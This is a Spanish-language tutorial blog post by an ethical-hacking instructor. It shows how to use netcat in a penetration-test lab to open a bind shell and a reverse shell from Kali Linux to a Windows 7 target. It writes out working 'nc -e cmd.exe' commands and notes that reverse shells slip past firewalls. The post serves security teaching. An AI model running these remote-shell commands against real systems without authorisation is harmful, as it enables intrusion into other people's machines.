Utilizar Netcat para crear un Shell Directo y un Shell Reverso

  • Posted on: 10 June 2014
  • By: ReYDeS

Netcat es una utilidad de red, el cual permite leer y escribir datos a través de conexiones de red, utilizando el protocolo TCP/IP y UDP. Netcat es la herramienta ideal para crear shells directos y reversos durante una Prueba de Penetración, en la cual no es factible utilizar una herramienta como Meterpreter. De esta manera utilizando las funcionalidades que proporciona netcat será factible acceder en modo línea de comando al sistema objetivo.

Para la siguiente práctica se utilizará Kali Linux como “atacante” y un Sistema Windows 7 como el objetivo de evaluación. En ambas máquinas se tiene instalada una versión de netcat. Mencionar adicionalmente que este escenario implica haber obtener un acceso previo en el objetivo de evaluación.

Shell Directo

En este escenario el objetivo de evaluación tiene netcat funcionando en modo de atención o escucha. Para crear u canal de comunicación, la conexión se realiza desde el Sistema Kali Linux o desde el “atacante”.

En Windows 7 (Objetivo de Evaluación)

C:\>nc -v -n -l -p 7777 -e cmd.exe

En Kali Linux (El Atacante)

# nc -n -v 192.168.0.15 7777

Después de ejecutado netcat en Kali Linux se tiene un acceso shell en el Sistema Windows 7.

Shell Reverso

No siempre será factible tener acceso al objetivo de evaluación si se está localizado en una red externa. Un Shell Reverso permite intentar la conexión hacia sistema “atacante”, es decir el sistema atacante ejecutará netcat en modo de escucha o atención y el objetivo de evaluación intentará conectarse hacia el sistema atacante.

En Kali Linux

# nc -n -v -l -p 8888

En Windows 7

C:\>nc -n -v 192.168.0.12 8888 -e cmd.exe

Ejecutado el comando netcat en el Sistema Windows 7, se desplegará en Kali Linux una shell.

Un shell reverso puede prevenir el bloqueo o filtrado de la conexión por parte de un firewall. Dado que la mayoría de firewalls permiten conexiones salientes, y un shell reverso se origina desde el interior de la red, será factible que la “victima” se conecte al “atacante”.

Fuentes:

http://netcat.sourceforge.net/
http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor en Hacking Ético, Forense Digital & GNU/Linux
Correo Electrónico: ReYDeS@gmail.com
Twitter: @Alonso_ReYDeS
LinkedIn: pe.linkedin.com/in/alonsocaballeroquezada
Facebook: https://www.facebook.com/alonsoreydes
Youtube: http://www.youtube.com/c/AlonsoCaballero
Resumen de mi CV: http://www.reydes.com/d/?q=node/1